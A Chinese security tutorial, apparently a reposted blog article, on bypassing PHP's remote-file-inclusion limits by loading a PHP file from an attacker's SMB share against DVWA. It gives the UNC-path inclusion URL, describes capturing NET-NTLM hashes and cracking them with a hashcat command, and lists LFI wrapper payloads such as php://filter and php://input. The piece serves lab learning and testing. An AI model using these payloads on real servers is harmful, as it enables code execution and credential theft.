PHP远程文件包含(RFI)并绕过远程URL包含限制

2023-05-16


文章来源|MS08067 公众号粉丝投稿

本文作者:VastSky(Ms08067实验室粉丝)


前言

本文我们讲如何绕过远程URL包含限制。在PHP开发环境php.ini配置文里”allow_url_fopen、allow_url_include“均为“off”的情况下,不允许PHP加载远程HTTP或FTP的url进行远程文件包含时。我们依旧可以使用SMB,来加载执行远程文件。

攻击思路

攻击者在发现目标服务器存在本地文件包含的情况下。可以通过配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP程序文件,查看代码是否被执行。

环境设置

1、配置php.ini文件禁用"allow_url_fopen" 和 "allow_url_include"

2、利用具有本地文件包含漏洞的程序,这里我们使用DVWA演示

3、使用impacket攻击框架中的smbserver

查看坏境

当前配置PHP版本为“7.3.4”:

确定PHP不允许远程文件包含

试图从我们kali主机包含文件时,应用程序抛出错误并且没有发生RFI

在kali上配置我们的SMB服务器

创建演示php程序文件

通过smbserver启动smb服务器

攻击文件包含漏洞参数

利用SMB的访问路径传入文件包含漏洞的参数里。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=\\192.168.0.101\share\phpinfo.php

目标机器从SMB共享中获取PHP文件并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。

攻击的同时我们在smbserver窗口也捕获到了NET-NTLMhash

最终我们不但成功执行了我们的php文件,同时我们还得到了远程系统用户的NET-NTLMhash。对于攻击思路,这边可以拓展一些,还可以对我们拿到的NET-NTLMhash进行破解。也可以使用Responder ntlmrelayx.py工具进行smb中继攻击,这里就不做详细讨论。

附加:hashcat对NET-NTLMhash

NTLMv2的格式为:

username::domain:challenge:HMAC-MD5:blob

hashcat -a 0 -m 5600 hash.txt wordlist--force

-m: hash-type,5600对应NetNTLMv2,查看hash对应的具体参数可以查看官方样例:

https://hashcat.net/wiki/doku.php?id=example_hashes

-a 0:字典破解

–force代表强制执行,测试系统不支持Intel OpenCL

成功破解出登录的明文密码,输出如下图

附录 allow_url_fopen和allow_url_include对文件包含的影响

allow_url_fopen  #允许url打开远程文件,如果url传入的参数是本地文件的不受此限制

当allow_url_fopen打开,allow_url_include关闭时

/fi/?page=file1.php                             #可以使用
/fi/?page=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\one.txt  #可以使用
/fi/?page=file://D:\phpstudy_pro\WWW\one.txt     #可以使用
/fi/?page=http://127.0.0.1/one.txt               #不可以使用
/fi/?page=data:text/plain;base64,cXdlcmFhYQ==    #不可以使用
/fi/?page=php://input                            #不可以使用

当关闭了allow_url_open和allow_url_include时

/fi/?page=file1.php                             #可以使用
/fi/?page=file://D:\phpstudy_pro\WWW\one.txt     #可以使用
/fi/?page=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\one.txt  #可以使用
/fi/?page=http://127.0.0.1/one.txt               #不可以使用
/fi/?page=data:text/plain;base64,cXdlcmFhYQ==    #不可以使用
/fi/?page=php://input                            #不可以使用

当allow_url_open关闭时,而allow_url_include开启的时候,只有php://input可以使用。php://input可以读取没有处理过的POST数据。php://input这个是不受allow_url_fopen影响。

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前40000+人已关注加入我们

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PHP远程文件包含(RFI)并绕过远程URL包含限制 的相关文章

  • Vue3返回顶部组件及返回顶部js封装

    介绍 vue3中 封装监听页面滚动的js 及页面滚动到一定像素时 显示返回顶部的按钮 点击按钮会有放大的动画 并逐渐滚动到顶部的组件 效果如下 代码 封装js 监听屏幕滚动事件 以及是否显示返回顶部的按钮 在项目目录下新建 utils文件夹
  • vue3中使用swiper自定义pagination

    介绍 在 vue3 中使用 swiper 实现轮播图的效果 xff1b 默认的 分页器是以小圆点的形式显示 xff0c 但是很多时候会用到自定义分页器 xff0c 这就需要修改内置的参数进行配置 xff1b 例如 xff0c 如下所示 xf
  • vue3实现多条件筛选时,联动acitve样式

    介绍 在实现多条件筛选时 鼠标hover或者点击切换 会给当前选中项添加active样式 各个筛选项之前互不影响 如下图所示 主要实现了招聘信息的筛选条件 包括城市和职位信息 当鼠标hover时 会添加一个灰色的背景 当点击切换时 会添加一
  • FFmpeg 中AVPacket的使用

    https blog csdn net u014162133 article details 82667112
  • WebRTC的优缺点

    作为Google开源的技术 xff0c WebRTC并不是一个可以拿来就用并且性能很好的产品 xff0c 需要工程师们对其进行较多的改善 本文主要来谈一谈WebRTC的优缺点 WebRTC的优点 xff1a 1 方便 对于用户来说 xff0
  • XMPPFrameWork IOS 开发(五)获取好友信息和添加删除好友

    原始地址 xff1a XMPPFrameWork IOS 开发 xff08 五 xff09 获取好友信息和添加删除好友 好友列表和好友名片 xmppRoster fetchRoster 获取好友列表 获取到一个好友节点 void xmppR
  • Linux 系统Apktool 的安装和使用

    For Linux OS xff1a 在Linux 机器上创建一个临时文件夹 apktool xff1b 下载 aapt 和 apktool xff1a 下载路径 https connortumbleson com apktool goog
  • python wav转pcm

    usr bin env python encoding utf 8 39 39 39 64 文件 wav2pcm py 64 说明 64 时间 2021 07 08 14 53 48 64 作者 shitao li 64 版本 1 0 39
  • R数据分析——方法与案例详解(双色)

    R数据分析 方法与案例详解 xff08 双色 xff09 R数据分析 方法与案例详解 xff08 双色 xff09 是一本R 语言和数据分析的入门教材 xff0c 循序渐进 深入浅出 xff0c 每个知识点尽量从实际的应用案例出发 xff0
  • springboot集成swagger3出现如下错误:Failed to start bean ‘documentationPluginsBootstrapper‘; nested exception

    原因 xff1a 这是因为Springfox使用的路径匹配是基于AntPathMatcher的 xff0c 而Spring Boot 2 6 X使用的是PathPatternMatcher 解决 xff1a 在application pro
  • 进程间通信(8) - 共享内存(posix)

    目录 1 前言 2 共享内存介绍 3 映射函数mmap 4 映射删除munmap 5 映射同步 6 内存映射区的大小 6 1映射文件的大小等于映射长度 6 2映射文件的大小小于映射长度 7 使用mmap进行IPC 7 1匿名内存映射实现亲缘
  • 51单片机定时器、计数器配置

    一 51单片机的定时 计数器的工作原理 在了解了单片机的时钟频率 时钟周期 机器周期之后 xff0c 显然我们可以知道定时器的工作原理 xff0c 在此之前我们先算出51单片机的脉冲周期 xff1a 以f 61 12MHz为例 xff0c
  • AndroidStudio Launching ‘app‘ Time out 错误

    问题一 AndroidStudio Launching app Time out 错误 环境 xff1a AndroidStudio xff1a Arctic Fox 2020 3 1 问题 点击debugger运行过后 xff0c 编译没
  • QT Creator项目打包发布

    按照如下方法 xff0c 可将项目成功打包发布 xff0c 别人不需要安装或配置QT Creator环境便可直接运行程序 xff0c 具体步骤如下 xff1a 1 在QT Creator使用release构建运行一下代码 xff0c 不要使
  • 超精简ubuntu的GPU配置(实测好用)

    一 安装英伟达 GPU 驱动 安装ubuntu后运行以下命令来升级内核版本 sudo apt get update sudo apt get upgrade 以下命令会将与你系统相兼容的驱动版本显示出来 sudo add apt repos
  • 在线升级R语言版本以及在RStudio容纳最新版本的R

    文章目录 1 升级R语言版本2 RStudio容纳最新版本的R3 参考资料 1 升级R语言版本 第一步 install packages 34 installr 34 安装 第二步 library installr 加载 第三步 updat
  • 傅里叶变换 ~ 什么是傅里叶变换?

    文章目录 1 什么是傅里叶变换 xff1f 2 为什么要进行傅里叶变换 xff1f 1 什么是傅里叶变换 xff1f 将时域的信号 xff0c 变换到频域的正弦信号 傅里叶变换是数字信号处理领域一种很重要的算法 要知道傅里叶变换算法的意义
  • 全国天气预报查询接口

    小编在此向大家介绍拥有105亿 43 调用量的产品 xff0c 该接口文档清晰 xff0c 对接方便 xff0c 还有服务很好 一 接口介绍 通过坐标区域 IP 地名 景点名称 电话区号或邮编等有效信息可查询天气情况 xff08 天气状况
  • 使用C++的CCF-CSP满分解决方案 202112-2 序列查询新解 含详细注释

    思路 最开始想挨个数计算fi和gi xff0c 这样只能拿70分 xff0c 想要拿全 xff0c 必须根据区间来划分 具体来说 xff0c 每次以r为单位移动 xff0c 每个区间长度为r xff0c 根据区间的左右值移动序列的下标 还是
  • UltraISO 帮你把U盘当光盘用

    UltraISO是款功能强大的光盘工具 xff0c 官方对其的概括是Handle CD and DVD Images with Ease xff0c 对我们就是要让处理CD和DVD镜像变得简单 现在这款软件的最新版本是UltraISO 9

随机推荐

  • Python基础语法一:Markdown的使用

    1 标题 在文字前加 xff08 个数可以使1 6个 xff0c 个数不同 xff0c 标题级别不同 xff09 用户管理 xff08 二级标题 xff09 三级标题 六级标题 2 代码块 xff08 代码引用 xff09 语法 xff1a
  • 《计算机科学》期刊投稿心得

    今日胃痛难忍 xff0c 无法静心 xff0c 遂分享一下投稿心得 这本期目前是北大核心 xff0c CCF B 上不上 xff0c 下不下的排名 xff0c 感叹一句 xff0c 中文核心太难中了 xff0c 越来越难中的感觉 2020年
  • IDEA MAVEN 项目 打包文件到指定目录

    像上一篇文章 xff0c 我们提到的 xff0c IDEA MAVEN struts项目中 xff0c 如果我们把 struts xml 文件放在 src 目录下 xff0c 编译的时候 xff0c 将无法打包到 WEB INF class
  • kali安装配置git

    kali安装配置git 安装图形界面 sudo apt install git cola 配置全局忽略 git config global core excludesfile root global gitignore vim root g
  • Freerdp2中sfreerdp在windows中运行

    了解 client Sample 下的freerdp c xff0c 有助于了解freerdp的结构 当然首先 xff0c 需要先在windows 中成功编译freerdp链接 然后可以看到Debug目录下会生成freerdp2 lib f
  • freerdp在windows中的编译(with openh264)

    我自己编译的node freerdp2模块在window 7中会莫名其妙的报一个错误 google上说跟windows的media foundation相关 xff0c 更莫名其妙的是 xff0c 重装系统后100 复现 但是看到最后一个报
  • 配置Linux网络,远程连接(NAT模式)

    配置Linux网络 xff0c 远程连接 xff08 NAT模式 xff09 1 打开vmware xff1a 编辑 gt 虚拟网络编辑器 xff0c 检查VMnet8中nat模式的子网IP NAT设置 xff0c 打开 NAT设置 xff
  • 根据Django Model动态生成sql的方法

    转自 xff1a http blog csdn net wenxuansoft article details 8039011 当定义好Django Model后 xff0c 一般可以在初始化调用Syncdb方法来自动在数据库里面生成相应的
  • jetty禁用http put和delete等方法的方式

    1 基于xml的配置方式 lt security constraint gt lt display name gt Example Security Constraint lt display name gt lt web resource
  • 《Qt5 C++ GUI Programming cook book 》笔记 1

    一 xff0c 前言 第一章 xff0c 使用QT Designer 和QT Quick Designer自定义设计用户界面 第二章 xff0c 通过增强的状态机框架和动画框架 xff0c 制作用户界面动画 第三章 xff0c 使用QT内建
  • 时间机器 Time Machine 三星T7 移动硬盘SSD解决方案

    Content 时间机器 Time Machine 三星T7 移动硬盘SSD解决方案1 简介2 硬盘分区3 时间机器4 文件格式5 Bug 时间机器 Time Machine 三星T7 移动硬盘SSD解决方案 1 简介 时间机器 xff08
  • SonarQube代码质量检查平台

    前言 xff1a code review xff1a 随着业务的发展 xff0c 系统越来越庞大 xff0c 原本简单稳定的功能 xff0c 可能在不断迭代后复杂度上升 xff0c 潜在的风险也随之暴露 xff0c 导致最终服务不稳定 xf
  • C++报错:The build tools for v141 (Platform Toolset = 'v141') cannot be found.

    问题内容 The build tools for v141 Platform Toolset 61 39 v141 39 cannot be found To build using the v141 build tools please
  • centos7+mysql5.7安装

    1 在官方网站下载linux版本的mysql xff0c 网址 xff1a https dev mysql com downloads mysql 2 解压文件并存放在 usr local mysql 5 7 20 路径下 xff08 1
  • Shell编程——位置参数变量

    介绍 当我们执行一个shell脚本时 xff0c 如果希望获取到命令行的参数信息 xff0c 就可以使用到位置参数变量 比如 xff1a myshell sh 100 200 这个就是一个执行shell的命令行 xff0c 可以在myshe
  • CentOS安装python2.7

    查版本 whereis python python2 7安装 1 下载 xff1a wget https www python org ftp python 2 7 11 Python 2 7 11 tar xz wget https ww
  • 单机版Ceph环境部署,Linux平台

    Ceph已经如火如荼 xff0c 很多公司都在使用Ceph作为自己的存储系统 日常学习不太可能安装一个Ceph集群 xff0c 因此本文介绍如何部署一个单节点的Ceph系统 另外 xff0c 本文安装的后端存储引擎是BlueStore xf
  • Ubuntu 升级 Python3.10

    参考文档 Upgrade Python to latest version 3 10 on Ubuntu Linux
  • 2022免费国内天气查询接口

    一个可以根据IP地址或者城市名称查询天气的免费接口 xff0c 支持国内3400 43 个城市天气 请求地址 GET https api itapi cn api tianqi 请求参数 参数名参数说明key用户请求密钥 xff0c 可在
  • PHP远程文件包含(RFI)并绕过远程URL包含限制

    文章来源 xff5c MS08067 公众号粉丝投稿 本文作者 xff1a VastSky xff08 Ms08067实验室粉丝 xff09 前言 本文我们讲如何绕过远程URL包含限制 在PHP开发环境php ini配置文里 allow u